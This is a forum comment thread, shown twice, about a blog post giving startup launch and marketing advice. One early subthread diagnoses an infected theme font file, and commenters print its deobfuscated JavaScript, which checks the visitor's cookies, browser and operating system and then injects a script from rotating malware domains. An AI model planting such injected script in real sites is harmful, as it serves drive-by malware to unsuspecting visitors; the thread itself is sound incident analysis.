7 ms·

If You Build It, They Won’t Come.

216 points by jasonlbaptiste 16y ago

mcargian 16y ago
is anyone else getting a virus fishing attack warning on this link?
- jasonlbaptiste 16y ago
  Update: The .js file had an unescaped string in it. I just updated to this new design/theme a week ago. I removed the unescaped part and all should be fine now. I'm on mediatemple btw.
  - mcargian 16y ago
    From AVG: wp_content/themes/LightBright/js/League_Gothic_400.font.js Exploit link to exploit site edit: FF 3.6.8 on Windows - AVG 9
    - jasonlbaptiste 16y ago
      browser? os? someone said this on twitter to ericries after he retweeted another article of mine. I looked this weekend/had others ask if they got a warning. Everyone said it was fine. Looking at the .js file now (its some cufon thing) and the source of the post as well. It's part of what im using with elegantthemes. Update: http://pastebin.com/UNijfWPu http://pastebin.com/UNijfWPu is everything contained in the file mentioned (League_Gothic_400.font.js)
      - handelaar 16y ago
        Virus warning specifically suggests the Cufon font file contains a link to a compromised site.
      - jacquesm 16y ago
        Here is the unescaped version of what it is doing: <script>var dc = document.cookie; var cname = 'watchtime'; var wn = window.navigator.userAgent; var stri = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i; var strOS = navigator.appVersion; if(dc.indexOf(cname)==-1 && !wn.toLowerCase().match(stri) && strOS.toLowerCase().indexOf('win') != -1) { var doms = ['edisonsnightclub.com','emapis.org','ideacoreportal.com','karenegren.com']; var preffs = ['aqua.','azure.','black.','blue.','brown.','gold.','gray.','green.','lime.','navy.','olive.','plum.','red.','snow.','white.','yellow.']; var dom = Math.floor(Math.random()doms.length); var pref = Math.floor(Math.random()preffs.length); dt=new Date();dt.setTime(dt.getTime() + 736003600);document.cookie=cname+'='+escape(cname)+';expires='+dt.toGMTString()+';path=/'; document.write('<script type="text/javascript" src="http://+preffs[pref]+doms[dom]+/data/mootools.js><\/script> http://+preffs[pref]+doms[dom]+/data/mootools.js><\/...); };</script>
      - fragmede 16y ago
        Is that link off the server directly or via a webserver? edit:Searching for 'emapis.org' (from jacquesm's comment) gets me http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/ http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpre... in Google. It's old, but I suspect something similar at work.
        jasonlbaptiste 16y ago
        webserver directly. let me see if elegantthemes has updated it. im trying to get rid of the junk that when unescaped has the problem.
      - colonelxc 16y ago
        I bet it is emapis. org, see: http://www.urlvoid.com/scan/emapis.org http://www.urlvoid.com/scan/emapis.org As the unescaped javascript shows, it's a random chance for different sites, so it might be somewhat hard to reproduce. So far I haven't been able to pull a mootools.js from those sites to see it. Edit: the js I'm getting back is just (function(){var error = 404;})(); Also, with regards to your site, here is the google safebrowse: http://www.google.com/safebrowsing/diagnostic?site=jasonlbaptiste.com http://www.google.com/safebrowsing/diagnostic?site=jasonlbap... It shows that you also had stuff going to smartenergymodel[.]com, which is also listed on that unmaskparasites link that everyone is passing around.
        jasonlbaptiste 16y ago
        yeah, dealt with the smartenergymodel thing. Google hasn't updated that yet. this seems to be related to a lot of Mediatemple happenings.
      - ihumanable 16y ago
        There is an exploit in the first line. document.write(unescape(...giberrish...)) That writes a script tag into the document with the following payload: var dc = document.cookie; var cname = 'watchtime'; var wn = window.navigator.userAgent; var stri = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i; var strOS = navigator.appVersion; if(dc.indexOf(cname)==-1 && !wn.toLowerCase().match(stri) && strOS.toLowerCase().indexOf('win') != -1) { var doms = ['edisonsnightclub.com','emapis.org','ideacoreportal.com','karenegren.com']; var preffs = ['aqua.','azure.','black.','blue.','brown.','gold.','gray.','green.','lime.','navy.','olive.','plum.','red.','snow.','white.','yellow.']; var dom = Math.floor(Math.random()doms.length); var pref = Math.floor(Math.random()preffs.length); dt=new Date();dt.setTime(dt.getTime() + 736003600);document.cookie=cname+'='+escape(cname)+';expires='+dt.toGMTString()+';path=/'; document.write('<script type="text/javascript" src="http://+preffs[pref]+doms[dom]+/data/mootools.js><\/script> http://+preffs[pref]+doms[dom]+/data/mootools.js><\/...); }; I'm thinking that this is malicious (a cursory search for emapis.org shows it to be a malware site) I'm not super familiar with cufon but this does not appear to be kosher. Here is a link that may prove useful http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/ http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpre...
- anonymousDan 16y ago
  Ya, something weird happens when I open the site, my computer starts making lots of beeping sounds and tries to run something in windows media player.
jacquesm 16y ago
You really should write that book, I would have given my left arm for this article 12 years ago. Excellent stuff, one thing I would add - and it's only a small thing - get a professional copywriter with PR experience to write your press release for you. If it isn't in the right format it will be completely ignored.
- jasonlbaptiste 16y ago
  One thing I really want to do in the next couple of years is write a book re: an entrepreneurial topic. Just need the time to do it right. Agreed re: press releases. They're still used, not sure how effective depending on the audience, but they need to be done right. It's not terribly expensive either.
  - jacquesm 16y ago
    Well, at least I got the email bit right :) It's disappointing to see how much stuff gets announced here and how little of it is still alive a year later.
    - all 16y ago
      Truly. I have the feeling a lot of people view the race as a sprint and run out of wherewithall when they realise it is more like an ultra marathon.
      - jacquesm 16y ago
        I think a part of the problem is the perception that a successful launch is something you can measure 'the morning after', whereas the truth is that after the initial burst of traffic is gone you'll be left with little to no traction. That's when the real work starts and you're looking at months of gruelling grunt work to flog the thing forward in spite of any really gratifying moments other than to slowly see your stats craws back up to the level that you seemed to achieve so effortlessly on day one. It can take quite a while before your real audience has found you, viral elements help but are no guarantee of a significantly easier process, even if they can cut the time it takes to get to the level of 'ramen profitability'. And that's all assuming you make no critical mistakes, which can set you back weeks or months. Endurance is far more important than talent in this phase and I think that is something that ought to be made much more clear. If the expectations are more realistic I think people would find it in themselves to go the distance. Unrealistic expectations are killing.
patio11 16y ago
One suggestion: I'd put SEO in the pre-launch box. There are significant portions of calendar time involved in SEO, so might as well start the site marinating in the Google juice while you go do other things. Additionally, there are many, many things you can do for SEO which don't require your product to exist. You don't have to have a solution available to show to be able to, e.g., blog about the problem domain, create resources which solve problems for the people you hope will eventually give you money, start pushing the emotional buttons of folks in the niche, etc. AdWords, on the other hand, you can put off until you have reason to suspect that you'll be able to do it profitably. (If you can't make money with a customer acquisition cost of zero from organic search, it is unlikely you will be able to make money on AdWords.)
- jasonlbaptiste 16y ago
  great point. updated post and linked to this comment. Gracias amigo.
- il 16y ago
  I agree, with the exception that you should never view organic traffic as free. Even if you didn't spend any money on SEO directly(e.g. buying links) SEO can be very time consuming, and you should always consider the opportunity cost of time spent on SEO versus other traffic sources. I pay my outsourced employees who do SEO for me by the hour, so maybe I feel the financial pinch of a large scale SEO campaign more than others, but any time spent on SEO by anyone in your startup is money.
  - patio11 16y ago
    This is a good point. I was trying to talk about unit economics: a customer from organic SEO is free at the margin, and if you're not able to monetize them profitably with a marginal cost of 0 then it is strikingly unlikely you will be able to buy them on AdWords and make up the loss on volume.
    - il 16y ago
      That's generally true, but in some cases, particularly in certain niches, that argument breaks down. In the past several years I've staked significant money(6 figures) on my ability to predict traffic quality(how well a traffic source converts) and you may find that the people who click on ads(sometimes before clicking on any search results) convert much better than SEO traffic. I've seen 50-150% difference in conversion rate between targeted free and paid traffic several times. This is why many companies bid on their name in their SEM campaigns, even though they obviously easily rank first for it organically. This isn't necessarily always true, but it's something to think about.
il 16y ago
Great post, but I wish startups,as well as this article, devoted more attention to SEO and paid advertising like PPC/Social. In many industries, paid traffic will be the primary driver of signups and sales, and it's a mistake to think you can replace a large scale media buy campaign with a few blog posts or tweets. Groupon and Zynga are excellent examples of this. Also, don't underestimate the power of affiliate programs. As an affiliate I have the unique perspective of promoting Zynga, Groupon, Zoosk, and other "viral" competitors, and I can tell you that they had one thing in common: one of the main drivers of their early growth and traction was a well-managed affiliate program, with numerous affiliates pushing thousands of signups a day to them. This requires a budget and strong understanding of the affiliate space, but it can be a tremendously powerful shortcut to success. I think if you're a funded startup with a clear path to profitability, you should absolutely devote a significant chunk of your budget to paid advertising(assuming you or someone you hire knows how to optimize and manage the campaign so you don't lose money).
- brianbreslin 16y ago
  I'd venture to guess that most startups don't know how to start an affiliate program. There aren't many simple solutions that they can integrate easily (via an api or something) and aren't super costly up front (not all startups have $5k to dump into CJ). Jason's company is touching on this for SaaS sites, but there is definitely a big hole in the market there.
  - klous 16y ago
    http://zferral.com/ http://zferral.com/ (not affiliated) has a pretty decent, simple build-your-own affiliate / referral program.
    - jeffepp 16y ago
      Klous, thank you for the comment, appreciate it. For some reason many startups do not consider an affiliate program a 'must-have' but it really is an efficient way to scale.
pinksoda 16y ago
I saw the virus on your site earlier. It appears to be gone now and I couldn't find any XSS or SQL vulnerabilities on your site. Here's some other stuff to consider: - Possibly vulnerable to mod_rewrite off-by-one buffer overflow (Apache 2.0.54). Upgrade Apache. - Possibly vulnerable to header injection (Apache 2.0.54). Upgrade Apache. - Possibly vulnerable to session fixation attack. Set session.use_only_cookies = 1 in php.ini - Install mod_security if you haven't already. It's a great extra layer of security and can save your butt when someone forgets to sanitize input (which WordPress and 3rd party plugins frequently do).
- jasonlbaptiste 16y ago
  Many thanks for the insight. Lot of it detailed here too: http://news.ycombinator.com/item?id=1551868 http://news.ycombinator.com/item?id=1551868 Sadly, my blog is on mediatemple, so I can't change a lot of the good Apache stuff. I may switch to the semi advanced setup I have running for Cloudomatic (rackspace cloud).
kaib 16y ago
I think the article has a great set of ideas but if you follow this advice blindly you might risk flailing around doing everything badly instead of doing one or two things really well. As long as you cover your whole customer acquisition pipeline I think it's more useful to focus your efforts on a few of these channels and really push them. I'm basing this both on observation of successful startups of late, like the experience DropBox had with AdWords, and also on my own limited experience. In my last startup we would probably have been even better off if we had focused more on the things that worked and quickly discarded non-revenue generating activities. In our case AdWords paid handsomely for the time and money invested while PR gave absolutely abysmal results. However, I personally kept working on bad marketing efforts mostly based on the naive view about how things are supposed to be.
- jasonlbaptiste 16y ago
  Well said and agreed. One size never fits all. I try to present as many choices as possible in an article, and hopefully readers discern what works best for them. Sometimes you don't know until you try either.
- il 16y ago
  I've had similar results with my projects. PPC was the main driver of sales, and press releases proved worthless. The only successful PR I've done is reaching out to bloggers in the space with a personalized email.
joshbert 16y ago
I just want to thank you for this amazing blog post. I was literally having epiphany, after epiphany, after epiphany. Now it's time for me to turn these insights into actionable items. Thanks again!
- jasonlbaptiste 16y ago
  Wow, you're welcome Josh. It means a lot to me that it's that useful. Feel free to contact me if you have any more questions: j@jasonlbaptiste.com
petercooper 16y ago
FWIW, this page has a very poor reading experience on the iPad. The text is oddly "grainy", scrolling is sluggish, you have to keep scrolling up and down due to the columns, and when you do scroll, the text flashes on and off. I hope Apple gets Safari Reader integrated on the iOS devices one day, Readability isn't quite as good :-)
- prawn 16y ago
  I think they're early issues with Jason's new venture (PadPressed). It's a bad experience on the iPad for me too and I ended up reading it on my laptop instead.
- sundarurfriend 16y ago
  > I hope Apple gets Safari Reader integrated on the iOS devices one day, Readability isn't quite as good Do you mean you used Readability and it didn't help? In that case, won't Safari Reader be the same since it's just Readability plugged into Safari by Apple?
  - petercooper 16y ago
    I mean Safari Reader looks better. Tweaking Readability on an iPad is going to be somewhat of an undertaking (though possible, I suspect).
smakz 16y ago
I don't like articles like this for one reason and one reason only: it's not empirical. It's a long list of vacuous do this do that statements. What I look for when reading articles about start ups is "At start up X we did Y and it caused Z". Those kinds of relationships are helpful to me and help relate to what I'm doing. If you related it to your success at cloudomatic or a previous start up and had concrete results to relate it to I'd be more interested. I understand these posts may be helpful to others as idea generation material, and obviously the up votes are a sign of that - but for me it's the equivalent of answering a complicated calculus question with a one line answer. Show your work.
- lionhearted 16y ago
  > I understand these posts may be helpful to others as idea generation material, and obviously the up votes are a sign of that - but for me it's the equivalent of answering a complicated calculus question with a one line answer. Show your work. This comment is entirely reasonable except for one little thing - you just got some marketing advice for free from a knowledgeable guy, and you're here saying it isn't exactly what you wanted and telling him to "show your work". Maybe try saying thanks first? Really, I'm torn between which cliche to quote - either "You get more bees with honey than vinegar" or "Beggars can't be choosers" - if you got a single valuable idea from this post to try out, then that'd make it worthwhile, yes? I like empirical case-study type works too, but hey, free advice on marketing from a smart knowledgeable guy. That's pretty cool, yes?
- api 16y ago
  Aren't you describing 95% of all business advice?
rwhitman 16y ago
Here's my recent philosophy - if you have the time to worry about mailing lists and slow reveal, testimonials and launch date hooha then you're doing something wrong, because in the time you spent noodling around on these things - hyping up internally that which does not yet exist and thus setting yourself up for a harder fall later - you could have launched the thing already and started validating the business model...
paraschopra 16y ago
I think the major work after the launch boils down to iterating on the product (incorporating user feedback), doing excellent customer support (generates great Word of Mouth) and releasing new features (to keep the buzz). Also, once the initial wave of excitement goes down, what a startup needs to find is predictable source of potential customers. The medium doesn't matter as much as finding such a source. It can be affiliates, SEO, PPC or a mix of these mediums.
wensing 16y ago
We launched our first publicly-accessible version of Stormpulse in late 2006. Even though we emailed everyone we could think of (as we had time), our traffic stayed pretty flat (0-250 visits per day). We continued to refine the product, continued "to try to get word out" with simple blogging and SEO, and continued to see a flatline of traffic until August 2008 when we launched our affiliate maps program (map is free to embed on your site as long as you link back). The program took off like wildfire and our traffic six months out of the year is now in the 6-7 figure range.
jasonlbaptiste 16y ago
I'm going to add in another point: If they do come, be prepared to have support protocols in place.

216 points by jasonlbaptiste 16y ago

mcargian 16y ago

is anyone else getting a virus fishing attack warning on this link?

jasonlbaptiste 16y ago
Update: The .js file had an unescaped string in it. I just updated to this new design/theme a week ago. I removed the unescaped part and all should be fine now. I'm on mediatemple btw.
- mcargian 16y ago
  From AVG: wp_content/themes/LightBright/js/League_Gothic_400.font.js Exploit link to exploit site edit: FF 3.6.8 on Windows - AVG 9
  - jasonlbaptiste 16y ago
    browser? os? someone said this on twitter to ericries after he retweeted another article of mine. I looked this weekend/had others ask if they got a warning. Everyone said it was fine. Looking at the .js file now (its some cufon thing) and the source of the post as well. It's part of what im using with elegantthemes. Update: http://pastebin.com/UNijfWPu http://pastebin.com/UNijfWPu is everything contained in the file mentioned (League_Gothic_400.font.js)
    - handelaar 16y ago
      Virus warning specifically suggests the Cufon font file contains a link to a compromised site.
    - jacquesm 16y ago
      Here is the unescaped version of what it is doing: <script>var dc = document.cookie; var cname = 'watchtime'; var wn = window.navigator.userAgent; var stri = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i; var strOS = navigator.appVersion; if(dc.indexOf(cname)==-1 && !wn.toLowerCase().match(stri) && strOS.toLowerCase().indexOf('win') != -1) { var doms = ['edisonsnightclub.com','emapis.org','ideacoreportal.com','karenegren.com']; var preffs = ['aqua.','azure.','black.','blue.','brown.','gold.','gray.','green.','lime.','navy.','olive.','plum.','red.','snow.','white.','yellow.']; var dom = Math.floor(Math.random()doms.length); var pref = Math.floor(Math.random()preffs.length); dt=new Date();dt.setTime(dt.getTime() + 736003600);document.cookie=cname+'='+escape(cname)+';expires='+dt.toGMTString()+';path=/'; document.write('<script type="text/javascript" src="http://+preffs[pref]+doms[dom]+/data/mootools.js><\/script> http://+preffs[pref]+doms[dom]+/data/mootools.js><\/...); };</script>
    - fragmede 16y ago
      Is that link off the server directly or via a webserver? edit:Searching for 'emapis.org' (from jacquesm's comment) gets me http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/ http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpre... in Google. It's old, but I suspect something similar at work.
      - jasonlbaptiste 16y ago
        webserver directly. let me see if elegantthemes has updated it. im trying to get rid of the junk that when unescaped has the problem.
    - colonelxc 16y ago
      I bet it is emapis. org, see: http://www.urlvoid.com/scan/emapis.org http://www.urlvoid.com/scan/emapis.org As the unescaped javascript shows, it's a random chance for different sites, so it might be somewhat hard to reproduce. So far I haven't been able to pull a mootools.js from those sites to see it. Edit: the js I'm getting back is just (function(){var error = 404;})(); Also, with regards to your site, here is the google safebrowse: http://www.google.com/safebrowsing/diagnostic?site=jasonlbaptiste.com http://www.google.com/safebrowsing/diagnostic?site=jasonlbap... It shows that you also had stuff going to smartenergymodel[.]com, which is also listed on that unmaskparasites link that everyone is passing around.
      - jasonlbaptiste 16y ago
        yeah, dealt with the smartenergymodel thing. Google hasn't updated that yet. this seems to be related to a lot of Mediatemple happenings.
    - ihumanable 16y ago
      There is an exploit in the first line. document.write(unescape(...giberrish...)) That writes a script tag into the document with the following payload: var dc = document.cookie; var cname = 'watchtime'; var wn = window.navigator.userAgent; var stri = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i; var strOS = navigator.appVersion; if(dc.indexOf(cname)==-1 && !wn.toLowerCase().match(stri) && strOS.toLowerCase().indexOf('win') != -1) { var doms = ['edisonsnightclub.com','emapis.org','ideacoreportal.com','karenegren.com']; var preffs = ['aqua.','azure.','black.','blue.','brown.','gold.','gray.','green.','lime.','navy.','olive.','plum.','red.','snow.','white.','yellow.']; var dom = Math.floor(Math.random()doms.length); var pref = Math.floor(Math.random()preffs.length); dt=new Date();dt.setTime(dt.getTime() + 736003600);document.cookie=cname+'='+escape(cname)+';expires='+dt.toGMTString()+';path=/'; document.write('<script type="text/javascript" src="http://+preffs[pref]+doms[dom]+/data/mootools.js><\/script> http://+preffs[pref]+doms[dom]+/data/mootools.js><\/...); }; I'm thinking that this is malicious (a cursory search for emapis.org shows it to be a malware site) I'm not super familiar with cufon but this does not appear to be kosher. Here is a link that may prove useful http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/ http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpre...
anonymousDan 16y ago
Ya, something weird happens when I open the site, my computer starts making lots of beeping sounds and tries to run something in windows media player.

jacquesm 16y ago

You really should write that book, I would have given my left arm for this article 12 years ago. Excellent stuff, one thing I would add - and it's only a small thing - get a professional copywriter with PR experience to write your press release for you. If it isn't in the right format it will be completely ignored.

jasonlbaptiste 16y ago
One thing I really want to do in the next couple of years is write a book re: an entrepreneurial topic. Just need the time to do it right. Agreed re: press releases. They're still used, not sure how effective depending on the audience, but they need to be done right. It's not terribly expensive either.
- jacquesm 16y ago
  Well, at least I got the email bit right :) It's disappointing to see how much stuff gets announced here and how little of it is still alive a year later.
  - all 16y ago
    Truly. I have the feeling a lot of people view the race as a sprint and run out of wherewithall when they realise it is more like an ultra marathon.
    - jacquesm 16y ago
      I think a part of the problem is the perception that a successful launch is something you can measure 'the morning after', whereas the truth is that after the initial burst of traffic is gone you'll be left with little to no traction. That's when the real work starts and you're looking at months of gruelling grunt work to flog the thing forward in spite of any really gratifying moments other than to slowly see your stats craws back up to the level that you seemed to achieve so effortlessly on day one. It can take quite a while before your real audience has found you, viral elements help but are no guarantee of a significantly easier process, even if they can cut the time it takes to get to the level of 'ramen profitability'. And that's all assuming you make no critical mistakes, which can set you back weeks or months. Endurance is far more important than talent in this phase and I think that is something that ought to be made much more clear. If the expectations are more realistic I think people would find it in themselves to go the distance. Unrealistic expectations are killing.

patio11 16y ago

One suggestion: I'd put SEO in the pre-launch box. There are significant portions of calendar time involved in SEO, so might as well start the site marinating in the Google juice while you go do other things. Additionally, there are many, many things you can do for SEO which don't require your product to exist. You don't have to have a solution available to show to be able to, e.g., blog about the problem domain, create resources which solve problems for the people you hope will eventually give you money, start pushing the emotional buttons of folks in the niche, etc. AdWords, on the other hand, you can put off until you have reason to suspect that you'll be able to do it profitably. (If you can't make money with a customer acquisition cost of zero from organic search, it is unlikely you will be able to make money on AdWords.)

jasonlbaptiste 16y ago
great point. updated post and linked to this comment. Gracias amigo.
il 16y ago
I agree, with the exception that you should never view organic traffic as free. Even if you didn't spend any money on SEO directly(e.g. buying links) SEO can be very time consuming, and you should always consider the opportunity cost of time spent on SEO versus other traffic sources. I pay my outsourced employees who do SEO for me by the hour, so maybe I feel the financial pinch of a large scale SEO campaign more than others, but any time spent on SEO by anyone in your startup is money.
- patio11 16y ago
  This is a good point. I was trying to talk about unit economics: a customer from organic SEO is free at the margin, and if you're not able to monetize them profitably with a marginal cost of 0 then it is strikingly unlikely you will be able to buy them on AdWords and make up the loss on volume.
  - il 16y ago
    That's generally true, but in some cases, particularly in certain niches, that argument breaks down. In the past several years I've staked significant money(6 figures) on my ability to predict traffic quality(how well a traffic source converts) and you may find that the people who click on ads(sometimes before clicking on any search results) convert much better than SEO traffic. I've seen 50-150% difference in conversion rate between targeted free and paid traffic several times. This is why many companies bid on their name in their SEM campaigns, even though they obviously easily rank first for it organically. This isn't necessarily always true, but it's something to think about.

il 16y ago

Great post, but I wish startups,as well as this article, devoted more attention to SEO and paid advertising like PPC/Social. In many industries, paid traffic will be the primary driver of signups and sales, and it's a mistake to think you can replace a large scale media buy campaign with a few blog posts or tweets. Groupon and Zynga are excellent examples of this. Also, don't underestimate the power of affiliate programs. As an affiliate I have the unique perspective of promoting Zynga, Groupon, Zoosk, and other "viral" competitors, and I can tell you that they had one thing in common: one of the main drivers of their early growth and traction was a well-managed affiliate program, with numerous affiliates pushing thousands of signups a day to them. This requires a budget and strong understanding of the affiliate space, but it can be a tremendously powerful shortcut to success. I think if you're a funded startup with a clear path to profitability, you should absolutely devote a significant chunk of your budget to paid advertising(assuming you or someone you hire knows how to optimize and manage the campaign so you don't lose money).

brianbreslin 16y ago
I'd venture to guess that most startups don't know how to start an affiliate program. There aren't many simple solutions that they can integrate easily (via an api or something) and aren't super costly up front (not all startups have $5k to dump into CJ). Jason's company is touching on this for SaaS sites, but there is definitely a big hole in the market there.
- klous 16y ago
  http://zferral.com/ http://zferral.com/ (not affiliated) has a pretty decent, simple build-your-own affiliate / referral program.
  - jeffepp 16y ago
    Klous, thank you for the comment, appreciate it. For some reason many startups do not consider an affiliate program a 'must-have' but it really is an efficient way to scale.

pinksoda 16y ago

I saw the virus on your site earlier. It appears to be gone now and I couldn't find any XSS or SQL vulnerabilities on your site. Here's some other stuff to consider: - Possibly vulnerable to mod_rewrite off-by-one buffer overflow (Apache 2.0.54). Upgrade Apache. - Possibly vulnerable to header injection (Apache 2.0.54). Upgrade Apache. - Possibly vulnerable to session fixation attack. Set session.use_only_cookies = 1 in php.ini - Install mod_security if you haven't already. It's a great extra layer of security and can save your butt when someone forgets to sanitize input (which WordPress and 3rd party plugins frequently do).

jasonlbaptiste 16y ago
Many thanks for the insight. Lot of it detailed here too: http://news.ycombinator.com/item?id=1551868 http://news.ycombinator.com/item?id=1551868 Sadly, my blog is on mediatemple, so I can't change a lot of the good Apache stuff. I may switch to the semi advanced setup I have running for Cloudomatic (rackspace cloud).

kaib 16y ago

I think the article has a great set of ideas but if you follow this advice blindly you might risk flailing around doing everything badly instead of doing one or two things really well. As long as you cover your whole customer acquisition pipeline I think it's more useful to focus your efforts on a few of these channels and really push them. I'm basing this both on observation of successful startups of late, like the experience DropBox had with AdWords, and also on my own limited experience. In my last startup we would probably have been even better off if we had focused more on the things that worked and quickly discarded non-revenue generating activities. In our case AdWords paid handsomely for the time and money invested while PR gave absolutely abysmal results. However, I personally kept working on bad marketing efforts mostly based on the naive view about how things are supposed to be.

jasonlbaptiste 16y ago
Well said and agreed. One size never fits all. I try to present as many choices as possible in an article, and hopefully readers discern what works best for them. Sometimes you don't know until you try either.
il 16y ago
I've had similar results with my projects. PPC was the main driver of sales, and press releases proved worthless. The only successful PR I've done is reaching out to bloggers in the space with a personalized email.

joshbert 16y ago

I just want to thank you for this amazing blog post. I was literally having epiphany, after epiphany, after epiphany. Now it's time for me to turn these insights into actionable items. Thanks again!

jasonlbaptiste 16y ago
Wow, you're welcome Josh. It means a lot to me that it's that useful. Feel free to contact me if you have any more questions: j@jasonlbaptiste.com

petercooper 16y ago

FWIW, this page has a very poor reading experience on the iPad. The text is oddly "grainy", scrolling is sluggish, you have to keep scrolling up and down due to the columns, and when you do scroll, the text flashes on and off. I hope Apple gets Safari Reader integrated on the iOS devices one day, Readability isn't quite as good :-)

prawn 16y ago
I think they're early issues with Jason's new venture (PadPressed). It's a bad experience on the iPad for me too and I ended up reading it on my laptop instead.
sundarurfriend 16y ago
> I hope Apple gets Safari Reader integrated on the iOS devices one day, Readability isn't quite as good Do you mean you used Readability and it didn't help? In that case, won't Safari Reader be the same since it's just Readability plugged into Safari by Apple?
- petercooper 16y ago
  I mean Safari Reader looks better. Tweaking Readability on an iPad is going to be somewhat of an undertaking (though possible, I suspect).

smakz 16y ago

I don't like articles like this for one reason and one reason only: it's not empirical. It's a long list of vacuous do this do that statements. What I look for when reading articles about start ups is "At start up X we did Y and it caused Z". Those kinds of relationships are helpful to me and help relate to what I'm doing. If you related it to your success at cloudomatic or a previous start up and had concrete results to relate it to I'd be more interested. I understand these posts may be helpful to others as idea generation material, and obviously the up votes are a sign of that - but for me it's the equivalent of answering a complicated calculus question with a one line answer. Show your work.

lionhearted 16y ago
> I understand these posts may be helpful to others as idea generation material, and obviously the up votes are a sign of that - but for me it's the equivalent of answering a complicated calculus question with a one line answer. Show your work. This comment is entirely reasonable except for one little thing - you just got some marketing advice for free from a knowledgeable guy, and you're here saying it isn't exactly what you wanted and telling him to "show your work". Maybe try saying thanks first? Really, I'm torn between which cliche to quote - either "You get more bees with honey than vinegar" or "Beggars can't be choosers" - if you got a single valuable idea from this post to try out, then that'd make it worthwhile, yes? I like empirical case-study type works too, but hey, free advice on marketing from a smart knowledgeable guy. That's pretty cool, yes?
api 16y ago
Aren't you describing 95% of all business advice?

rwhitman 16y ago

Here's my recent philosophy - if you have the time to worry about mailing lists and slow reveal, testimonials and launch date hooha then you're doing something wrong, because in the time you spent noodling around on these things - hyping up internally that which does not yet exist and thus setting yourself up for a harder fall later - you could have launched the thing already and started validating the business model...

paraschopra 16y ago

I think the major work after the launch boils down to iterating on the product (incorporating user feedback), doing excellent customer support (generates great Word of Mouth) and releasing new features (to keep the buzz). Also, once the initial wave of excitement goes down, what a startup needs to find is predictable source of potential customers. The medium doesn't matter as much as finding such a source. It can be affiliates, SEO, PPC or a mix of these mediums.

wensing 16y ago

We launched our first publicly-accessible version of Stormpulse in late 2006. Even though we emailed everyone we could think of (as we had time), our traffic stayed pretty flat (0-250 visits per day). We continued to refine the product, continued "to try to get word out" with simple blogging and SEO, and continued to see a flatline of traffic until August 2008 when we launched our affiliate maps program (map is free to embed on your site as long as you link back). The program took off like wildfire and our traffic six months out of the year is now in the 6-7 figure range.

jasonlbaptiste 16y ago

I'm going to add in another point: If they do come, be prepared to have support protocols in place.